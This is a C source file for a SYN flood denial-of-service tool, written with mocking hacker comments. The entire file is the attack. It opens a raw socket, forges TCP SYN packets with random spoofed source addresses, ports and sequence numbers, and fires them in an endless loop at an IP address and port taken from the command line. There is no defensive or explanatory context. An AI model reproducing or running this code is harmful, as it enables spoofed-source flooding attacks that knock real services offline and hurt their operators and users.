#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/* /dev/random would require furious mouse wiggling */
#define ENTROPY_SOURCE "/dev/urandom"

#define _packed __attribute__((packed))

/* IPv4 stuffz */
#define IP_CE		0x8000	/* Congestion */
#define IP_DF		0x4000	/* dont fragment flag */
#define IP_MF		0x2000	/* more fragments flag */
#define IP_OFFMASK	0x1fff	/* mask for fragmenting bits */

struct pkt_iphdr {
	uint8_t		ver_len;
	uint8_t		tos;
	uint16_t	tot_len;
	uint16_t	id;
	uint16_t	frag_off;
	uint8_t		ttl;
	uint8_t		protocol;
	uint16_t	csum;
	uint32_t	saddr;
	uint32_t	daddr;
} _packed;

/* TCP stuffz */
#define TCP_FIN		0x01	/* Finish */
#define TCP_SYN		0x02	/* Synchronise */
#define TCP_RST		0x04	/* Reset */
#define TCP_PSH		0x08	/* Push */
#define TCP_ACK		0x10	/* Acknowlege */
#define TCP_URG		0x20	/* Urgent pointer */
#define TCP_ECE		0x40	/* ECN echo */
#define TCP_CWR		0x80	/* Congestion window reduced */

struct pkt_tcphdr {
	uint16_t	sport,dport;
	uint32_t	seq;
	uint32_t	ack;
	uint8_t		doff;
	uint8_t		flags;
	uint16_t	win;
	uint16_t	csum;
	uint16_t	urp;
} _packed;

static const char *err_msg(void)
{
	return strerror(errno);
}

/* Random numbers for modulations of our ev1l p4ck4g3s. */
static uint8_t random_octet_h0h0h0(void)
{
	static int randfd = -1;
	static uint8_t buf[4 << 10];
	static uint8_t *ptr = buf;
	uint8_t ret;

	if ( randfd < 0 ) {
		randfd = open(ENTROPY_SOURCE, O_RDONLY);
		if ( randfd < 0 ) {
			fprintf(stderr, "%s: bad entropy source: %s\n",
				ENTROPY_SOURCE, err_msg());
			exit(EXIT_FAILURE);
		}
	}

	if ( ptr == buf ) {
		ssize_t r;
		r = read(randfd, buf, sizeof(buf));
		if ( r < 0 || (size_t)r < sizeof(buf) ) {
			fprintf(stderr, "Read %i/%u bytes of entropy: %s\n",
				r, sizeof(buf), err_msg());
			exit(EXIT_FAILURE);
		}
	}

	ret = *ptr;
	ptr++;

	if ( ptr >= buf + sizeof(buf) )
		ptr = buf;

	return ret;
}

static uint16_t random_sh0rt1e(void)
{
	return (random_octet_h0h0h0() << 8) |
		random_octet_h0h0h0();
}

static uint32_t random_l0ngd0ng(void)
{
	return (random_sh0rt1e() << 16) |
		random_sh0rt1e();
}

/* Assemble a m4l3v0l3nt p4ck4g35 */
static struct {
	struct pkt_iphdr ip;
	struct pkt_tcphdr tcp;
}pkt;

static void synpkt_init(struct in_addr *target, uint16_t port)
{
	printf("Initiating synfl00d against: %.8x:%u\n",
		target->s_addr, port);

	pkt.ip.ver_len = 0x45;
	pkt.ip.frag_off = htons(IP_DF);
	pkt.ip.ttl = 0xff;
	pkt.ip.protocol = IPPROTO_TCP;
	pkt.ip.daddr = target->s_addr;

	pkt.tcp.dport = htons(port);
	pkt.tcp.flags = TCP_SYN;
	pkt.tcp.doff = 0x5 << 4;
}

/* One might indeed add some common IP and/or TCP options here if one were so
 * inclined. However one would be fannying about a bit more than one might if
 * one were not so inclined. And after all, one shares not ones wayward
 * inclinations.
 */
static void synpkt_send(int fd, struct sockaddr_in *target)
{
	struct in_addr rnd;
	int ret;

	/* modulate low bits of ttl */
	pkt.ip.ttl ^= (random_octet_h0h0h0() & 0x7);

	/* pick random source address/port */
	rnd.s_addr = random_l0ngd0ng();
	pkt.ip.saddr = rnd.s_addr;
	pkt.tcp.sport = random_sh0rt1e();

	/* randomise sequences */
	pkt.tcp.seq = random_l0ngd0ng();
	pkt.tcp.ack = random_l0ngd0ng();

	/* FIXME: select randomly from common window sizes */
	pkt.tcp.win = random_sh0rt1e();

	/* FIXME: throw in TCP_ECE every now and then */

	/* send our r0gue syn packet, bwahahaha, etc.. */
	ret = sendto(fd, &pkt, sizeof(pkt), MSG_NOSIGNAL,
			(struct sockaddr *)target, sizeof(*target));
	printf(" * %s: %i/%i bytes sent, from %s:%u\n",
		err_msg(), ret, sizeof(pkt),
		inet_ntoa(rnd), ntohs(pkt.tcp.sport));
}

/* PIRATZ)RED from TCP/IP illustrious */
static int raw_sock_iphdrincl(void)
{
	int s, ret;
	int flag = 1;

	s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
	if ( s < 0 )
		return -1;

	ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, &flag, sizeof(flag));
	if ( ret ) {
		flag = errno;
		close(s);
		errno = flag;
		return -1;
	}

	return s;
}

/* From knuth, vol 2 seminumerical methods, chaps 6, para 5  */
int main(int argc, char **argv)
{
	struct sockaddr_in target;
	int pnum;
	int fd;

	if ( argc < 3 ) {
		fprintf(stderr, "Usage:\n %s <ip> <port>\n",
			argv[0]);
		return EXIT_FAILURE;
	}

	if ( !inet_aton(argv[1], &target.sin_addr) ) {
		fprintf(stderr, "%s: %s: invalid address\n",
			argv[0], argv[1]);
		return EXIT_FAILURE;
	}

	target.sin_family = AF_INET;
	target.sin_port = IPPROTO_TCP;

	pnum = atoi(argv[2]);
	if ( pnum < 0 || pnum > 0xffff ) {
		fprintf(stderr, "%s: %s: not a valid port number\n",
			argv[0], argv[2]);
		return EXIT_FAILURE;
	}

	fd = raw_sock_iphdrincl();
	if ( fd < 0 ) {
		fprintf(stderr, "%s: raw socket: %s\n",
			argv[0], err_msg());
		return EXIT_FAILURE;
	}

	synpkt_init(&target.sin_addr, pnum);

	/* 10 pkts / sec ought to pwn teh w1nd0s l4m3rs, no? */
	for(;;usleep(100000)) {
		synpkt_send(fd, &target);
	}

	return EXIT_SUCCESS;
}
